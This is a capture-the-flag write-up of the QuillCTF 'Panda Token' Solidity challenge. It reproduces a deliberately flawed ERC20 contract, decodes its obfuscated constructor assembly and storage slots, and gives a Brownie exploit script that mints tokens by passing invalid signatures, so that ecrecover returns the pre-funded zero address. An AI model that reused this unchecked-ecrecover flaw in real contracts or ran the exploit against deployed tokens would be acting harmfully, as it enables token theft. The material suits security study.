Skip to main content

QuillCTF - Panda Token

· 9 min read
Kaan Caglan

Pande Token is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. PandaToken.sol and also foundry setup script. Contract is not deployed on any test network.

Objective of CTF is

To pass the CTF, the hacker must have 3 tokens (3e18) on their account.

To solve this question we have to get 3e18 amount of PandaToken as a hacker. If we take a look to the contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8;
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "openzeppelin-contracts/contracts/access/Ownable.sol";

contract PandaToken is ERC20, Ownable {
uint public c1;
mapping(bytes => bool) public usedSignatures;
mapping(address => uint) public burnPending;
event show_uint(uint u);

function sMint(uint amount) external onlyOwner {
_mint(msg.sender, amount);
}

constructor(
uint _c1,
string memory tokenName,
string memory tokenSymbol
) ERC20(tokenName, tokenSymbol) {
assembly {
let ptr := mload(0x40)
mstore(ptr, sload(mul(1, 110)))
mstore(add(ptr, 0x20), 0)
let slot := keccak256(ptr, 0x40)
sstore(slot, exp(10, add(4, mul(3, 5))))
mstore(ptr, sload(5))
sstore(6, _c1)
mstore(add(ptr, 0x20), 0)
let slot1 := keccak256(ptr, 0x40)
mstore(ptr, sload(7))
mstore(add(ptr, 0x20), 0)
sstore(slot1, mul(sload(slot), 2))
}
}

function calculateAmount(
uint I1ILLI1L1ILLIL1LLI1IL1IL1IL1L
) public view returns (uint) {
uint I1I1LI111IL1IL1LLI1IL1IL11L1L;
assembly {
let I1ILLI1L1IL1IL1LLI1IL1IL11L1L := 2
let I1ILLILL1IL1IL1LLI1IL1IL11L1L := 1000
let I1ILLI1L1IL1IL1LLI1IL1IL11L11 := 14382
let I1ILLI1L1IL1ILLLLI1IL1IL11L1L := 14382
let I1LLLI1L1IL1IL1LLI1IL1IL11L1L := 599
let I1ILLI111IL1IL1LLI1IL1IL11L1L := 1
I1I1LI111IL1IL1LLI1IL1IL11L1L := div(
mul(
I1ILLI1L1ILLIL1LLI1IL1IL1IL1L,
I1ILLILL1IL1IL1LLI1IL1IL11L1L
),
add(
I1LLLI1L1IL1IL1LLI1IL1IL11L1L,
add(I1ILLI111IL1IL1LLI1IL1IL11L1L, sload(6))
)
)
}

return I1I1LI111IL1IL1LLI1IL1IL11L1L;
}

function getTokens(uint amount, bytes memory signature) external {
uint giftAmount = calculateAmount(amount);

bytes32 msgHash = keccak256(abi.encode(msg.sender, giftAmount));
bytes32 r;
bytes32 s;
uint8 v;

assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}

address giftFrom = ecrecover(msgHash, v, r, s);
burnPending[giftFrom] += amount;
require(amount == 1 ether, "amount error");
require(
(balanceOf(giftFrom) - burnPending[giftFrom]) >= amount,
"balance"
);
require(!usedSignatures[signature], "used signature");
usedSignatures[signature] = true;
_mint(msg.sender, amount);
}

function burnPendings(address burnFrom) external onlyOwner {
burnPending[burnFrom] = 0;
_burn(burnFrom, burnPending[burnFrom]);
}
}

It can be seen that there is a public getTokens function that mints a token to msg.sender if every required statement passes. There is 3 required statement in the function. The first one is checking if the given amount parameter is exactly 1 ether, and the second one is expecting the balanceOf recovered signature address minus burnPending should be greater than or equal to the given amount variable which is 1 ether. And the last one only checks if the given signature is already used or not. If we take a look at the setup script

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

import "forge-std/Test.sol";
import "../src/PandaToken.sol";

contract Hack is Test {
PandaToken pandatoken;
address owner = vm.addr(1);
address hacker = vm.addr(2);

function setUp() external {
vm.prank(owner);
pandatoken = new PandaToken(400, "PandaToken", "PND");
}

function test() public {
vm.startPrank(hacker);
bytes32 hash = keccak256(abi.encode(hacker, 1 ether));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash);

// your goal - to have 3 tokens (3e18) on your own(hacker) balance.
// solution
...


assertEq(pandatoken.balanceOf(hacker), 3 ether);
}
}

We can see there is nothing fancy here. It just deploys pandatoken with owner, creates one signature, and signs it with hacker and that's all. So we have a signature, we can use it and get 1e18 token from the contract. At the end of that getTokens function, it saves signatures to a map and does not allow us to use the same signature again. So we need to find a way to mint 3e18 token. sMint and burnPendings functions have onlyOwner modifier so we won't be able to call any of them as a hacker. If we take a look to the calculateAmount function


function calculateAmount(
uint I1ILLI1L1ILLIL1LLI1IL1IL1IL1L
) public view returns (uint) {
uint I1I1LI111IL1IL1LLI1IL1IL11L1L;
assembly {
let I1ILLI1L1IL1IL1LLI1IL1IL11L1L := 2
let I1ILLILL1IL1IL1LLI1IL1IL11L1L := 1000
let I1ILLI1L1IL1IL1LLI1IL1IL11L11 := 14382
let I1ILLI1L1IL1ILLLLI1IL1IL11L1L := 14382
let I1LLLI1L1IL1IL1LLI1IL1IL11L1L := 599
let I1ILLI111IL1IL1LLI1IL1IL11L1L := 1
I1I1LI111IL1IL1LLI1IL1IL11L1L := div(
mul(
I1ILLI1L1ILLIL1LLI1IL1IL1IL1L,
I1ILLILL1IL1IL1LLI1IL1IL11L1L
),
add(
I1LLLI1L1IL1IL1LLI1IL1IL11L1L,
add(I1ILLI111IL1IL1LLI1IL1IL11L1L, sload(6))
)
)
}

return I1I1LI111IL1IL1LLI1IL1IL11L1L;
}

It is also not doing anything, there are a few let definitions but eventually, that function is just doing 1000*amount/1000 and returns the value. Simply it can be written in solidity like:

    function calculateAmount(
uint given
) public view returns (uint) {
uint256 first = 2;
uint256 second = 1000;
uint256 third = 14382;
uint256 fourth = 14382;
uint256 fifth = 599;
uint256 sixth = 1;
uint256 result = (given*second)/(fifth+(sixth+c1));
return result;

}

sload(6) is the c1 variable that which owner gave to the constructor in the deploy statement. sload basically loads the x element from the storage and if we take a look it can be seen that

HexBytes('0x0190')
>>> 0x190
400

It is 400. The reason c1 is in the sixth slot in the storage, PandaToken is inherited from ERC20 and Ownable contracts. So storage layout starts with ERC20 and then Ownable and then PandaToken's variables. So if we take a look to the both contracts

contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;

mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;

string private _name;
string private _symbol;

and

abstract contract Ownable is Context {
address private _owner;

We can say that slots are:

slot[0] => _balances
slot[1] => _allowances
slot[2] => _totalSupply
slot[3] => _name
slot[4] => _symbol
slot[5] => _owner
slot[6] => c1

And we can verify them

>>> web3.eth.getStorageAt(pandatoken.address, 0)
HexBytes('0x00')
>>> web3.eth.getStorageAt(pandatoken.address, 1)
HexBytes('0x00')
>>> web3.eth.getStorageAt(pandatoken.address, 2)
HexBytes('0x00')
>>> bytearray.fromhex(web3.eth.getStorageAt(pandatoken.address, 3).hex()[2:]).decode()
'PandaToken\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14'
>>> bytearray.fromhex(web3.eth.getStorageAt(pandatoken.address, 4).hex()[2:]).decode()
'PND\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06'
>>> web3.eth.getStorageAt(pandatoken.address, 5)
HexBytes('0x66ab6d9362d4f35596279692f0251db635165871')
>>> web3.eth.getStorageAt(pandatoken.address, 6)
HexBytes('0x0190')
>>> owner.address
'0x66aB6D9362d4F35596279692F0251Db635165871'

The reason _balances and _allowances return 0 is maps are stored in the storage in a different way. Layout of State Variables in Storage.

    The value corresponding to a mapping key k is located at keccak256(h(k) . p) 
where . is concatenation and h is a function that is applied to the key
depending on its type:

for value types, h pads the value to 32 bytes in the same way as when
storing the value in memory.

for strings and byte arrays, h(k) is just the unpadded data.

So there is only one function we didn't take a look and it is the constructor. In the constructor, contract is doing some inline assembly operations.

    constructor(
uint _c1,
string memory tokenName,
string memory tokenSymbol
) ERC20(tokenName, tokenSymbol) {
assembly {
let ptr := mload(0x40)
mstore(ptr, sload(mul(1, 110)))
mstore(add(ptr, 0x20), 0)
let slot := keccak256(ptr, 0x40)
sstore(slot, exp(10, add(4, mul(3, 5))))
mstore(ptr, sload(5))
sstore(6, _c1)
mstore(add(ptr, 0x20), 0)
let slot1 := keccak256(ptr, 0x40)
mstore(ptr, sload(7))
mstore(add(ptr, 0x20), 0)
sstore(slot1, mul(sload(slot), 2))
}
}

If we examine it line by line it can be seen that contract is changing the _balances variable in the ERC20 contract which will eventually result in different returns for balanceOf function for 2 address.

  • let ptr := mload(0x40) is just reads 32 bytes of memory starting at position 0x40, that slot is special in solidity. It contains the free memory pointer which points to the end of the currently allocated memory.
  • mstore(ptr, sload(mul(1, 110))) Is storing the second variable into the ptr variable. Second variable is multiplying 1 and 110 and loads the value at that slot which is 0 because there is not 110 variable in the contracts so it just stores 0 in the ptr variable.
  • mstore(add(ptr, 0x20), 0) is storing 0 to ptr+20 address and which means it also sets 32 more byte next to the ptr variable.
  • let slot := keccak256(ptr, 0x40) in the statement we know that keccak256 is expecting two variables first one is the start address and the second one is the total length. So in the previous step, we set also 0 to ptr+0x20, this keccak operation is doing basically keccak256(abi.encode(0)+abi.encode(0)) because ptr is already 0 and next 32 bytes of ptr is also 0 so it reads 64 bytes of 0s and hashes them, save the value into the slot variable.
20  KECCAK256   A2  ost, len    keccak256(mem[ost:ost+len-1])       keccak256
  • sstore(slot, exp(10, add(4, mul(3, 5)))) in this statement it stores the value of exp(10, add(4, mul(3, 5))) this function into the slot variable. Which is basically 10**(4+(3*5)) => 10**19 => 10 ether.

If we again take a look at the layout storage algorithm, we know that map variables are stored like: keccak256(bytes32(any_address)+bytes32(map_storage_slot)). Which is pretty similar to the previous steps. We know that map_storage_slot is 0. So those steps just change the balance value of address 0 to 10 ether.

>>> web3.eth.getStorageAt(pandatoken.address, web3.sha3(convert.to_bytes(0) + convert.to_bytes(0)))
HexBytes('0x8ac7230489e80000')
>>> 0x8ac7230489e80000 == web3.toWei('10', 'ether')
True
>>> pandatoken.balanceOf('0x0000000000000000000000000000000000000000')
10000000000000000000

After sstore(slot, exp(10, add(4, mul(3, 5)))) this, it also changes the balance value of _owner to 20 ether.

>>> web3.eth.getStorageAt(pandatoken.address, web3.sha3(convert.to_bytes(owner.address) + convert.to_bytes(0)))
HexBytes('0x01158e460913d00000')
>>> 0x01158e460913d00000
20000000000000000000
>>> pandatoken.balanceOf(owner) == web3.toWei('20', 'ether')
True

And we know that ecrecover returns 0 if the signature does not match, we can use this. If we give 3 different wrong signature to the getTokens function with 1 ether amount, it will pass all required statements.

Python Exploit Function

from brownie import *
from scripts.setup_general import console
from brownie import convert

def setup():
owner = accounts[0]
accounts.add()
hacker = accounts[-1]
pandatoken = PandaToken.deploy(400, 'PandaToken', 'PND', {'from': owner})
# your goal - to have 3 tokens on your own(hacker) balance.
# solution
hash_ = web3.sha3(convert.to_bytes(hacker.address)+convert.to_bytes(web3.toWei('1', 'ether')))
signed = web3.eth.account.signHash(hash_, hacker.private_key)

r,s,v = signed[1], signed[2], signed[3]

def exploit():
hacker = accounts[-1]
pandatoken = PandaToken[-1]
console.green("PND balance of the hacker is: "+ str(pandatoken.balanceOf(hacker)))
console.green("Calling `getTokens` function with 3 different wrong signatures.")
pandatoken.getTokens(web3.toWei('1', 'ether'), b'', {'from': hacker})
pandatoken.getTokens(web3.toWei('1', 'ether'), b'1', {'from': hacker})
pandatoken.getTokens(web3.toWei('1', 'ether'), b'2', {'from': hacker})
console.green("PND balance of the hacker after attack is: "+ str(pandatoken.balanceOf(hacker)))

And the output is

+ >>> run('poc', 'setup')

Running 'scripts\poc.py::setup'...
mnemonic: 'cabbage dash garment media blush undo gasp tower repeat scene seat join'
Transaction sent: 0xa58b5325bc3f67153bdb413e60141eac5b0e15d234ae880bd5ad2c15c07dd239
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
PandaToken.constructor confirmed Block: 1 Gas used: 1136262 (9.47%)
PandaToken deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87

+ >>> run('poc', 'exploit')

Running 'scripts\poc.py::exploit'...
- PND balance of the hacker is: 0
+ Calling `getTokens` function with 3 different wrong signatures.
Transaction sent: 0x60a821bc47689f34c0c61f08900dd0d43398c587e9682d91a332f9aa16c91fb5
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
PandaToken.getTokens confirmed Block: 2 Gas used: 116002 (0.97%)

Transaction sent: 0xe6f99a232978206463842fe0e3bc5c90ad53a2e063fb676badb2f1d25a3b7f97
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
PandaToken.getTokens confirmed Block: 3 Gas used: 71178 (0.59%)

Transaction sent: 0xbfbf260bae33b239df2e37a92f951493d0cfb499c5ef0c5581201d8aa81d8b50
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
PandaToken.getTokens confirmed Block: 4 Gas used: 71178 (0.59%)

+ PND balance of the hacker after attack is: 3000000000000000000